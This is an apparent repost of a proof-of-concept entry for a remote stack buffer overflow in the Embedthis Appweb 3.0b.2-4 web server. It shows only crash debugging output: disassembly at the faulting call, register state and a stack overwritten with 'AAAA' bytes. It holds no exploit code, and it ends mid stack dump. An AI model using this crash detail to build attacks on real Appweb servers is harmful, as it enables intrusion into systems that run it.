Embedthis Appweb 3.0b.2-4 Remote Buffer Overflow

来源：互联网发布：pickit3.5软件下载编辑：程序博客网时间：2024/05/17 06:36

Embedthis Appweb Remote Stack Buffer Overflow Poc
    Embedthis Appweb Debugging Info
    -------------------------------

    ASM INSTRUCTIONS
    ----------------
    100076CD   8B0A             MOV ECX,DWORD PTR DS:[EDX]
    100076CF   8B50 10          MOV EDX,DWORD PTR DS:[EAX+10]
    100076D2   51               PUSH ECX
    100076D3   52               PUSH EDX
    100076D4   68 14040110      PUSH libappwe.10010414                   ; ASCII "%s %s %s"
    100076D9   55               PUSH EBP
    100076DA   E8 29630000      CALL <JMP.&libmpr.mprPutFmtToBuf>

    DS:[00000000]=???
    ECX=00000000

    CPU Registers
    --------------
    EAX 01550080
    ECX 00000000
    EDX 00000000
    EBX 00000072
    ESP 0012FD08
    EBP 01550598
    ESI 00837567 ASCII "" %>s %b"
    EDI 01320080
    EIP 100076CD libappwe.100076CD
    C 1 ES 0023 32bit 0(FFFFFFFF)
    P 0 CS 001B 32bit 0(FFFFFFFF)
    A 1 SS 0023 32bit 0(FFFFFFFF)
    Z 0 DS 0023 32bit 0(FFFFFFFF)
    S 1 FS 003B 32bit 7FFDF000(FFF)
    T 0 GS 0000 NULL
    D 0
    O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)
    EFL 00000293 (NO,B,NE,BE,S,PO,L,LE)
    ST0 empty -??? FFFF 00000000 144C1A7A
    ST1 empty -??? FFFF 00000000 109C62C7
    ST2 empty -??? FFFF 0F3C475C 45A4876F
    ST3 empty -??? FFFF 109C62C7 41264D5E
    ST4 empty -??? FFFF 09AC2DB5 50CE16BD
    ST5 empty -??? FFFF 00000000 17D51378
    ST6 empty 0.0
    ST7 empty 0.0
               3 2 1 0      E S P U O Z D I
    FST 0007 Cond 0 0 0 0 Err 0 0 0 0 0 1 1 1 (GT)
    FCW 027F Prec NEAR,53 Mask    1 1 1 1 1 1

    Stack
    ------
    <---------------Corruption starts here
    0012FBB8   41414141 AAAA
    0012FBBC   41414141 AAAA
    0012FBC0   41414141 AAAA
    0012FBC4   41414141 AAAA
    0012FBC8   41414141 AAAA
    0012FBCC   41414141 AAAA
    0012FBD0   41414141 AAAA
    0012FBD4   41414141 AAAA
    0012FBD8   41414141 AAAA
    0012FBDC   41414141 AAAA
    0012FBE0   41414141 AAAA
    0012FBE4   41414141 AAAA
    0012FBE8   41414141 AAAA
    0012FBEC   41414141 AAAA
    0012FBF0   41414141 AAAA
    0012FBF4   41414141 AAAA
    0012FBF8   41414141 AAAA
    0012FBFC   41414141 AAAA
    0012FC00   41414141 AAAA
    0012FC04   41414141 AAAA
    0012FC08   41414141 AAAA
    0012FC0C   41414141 AAAA
    0012FC10   41414141 AAAA
    0012FC14   41414141 AAAA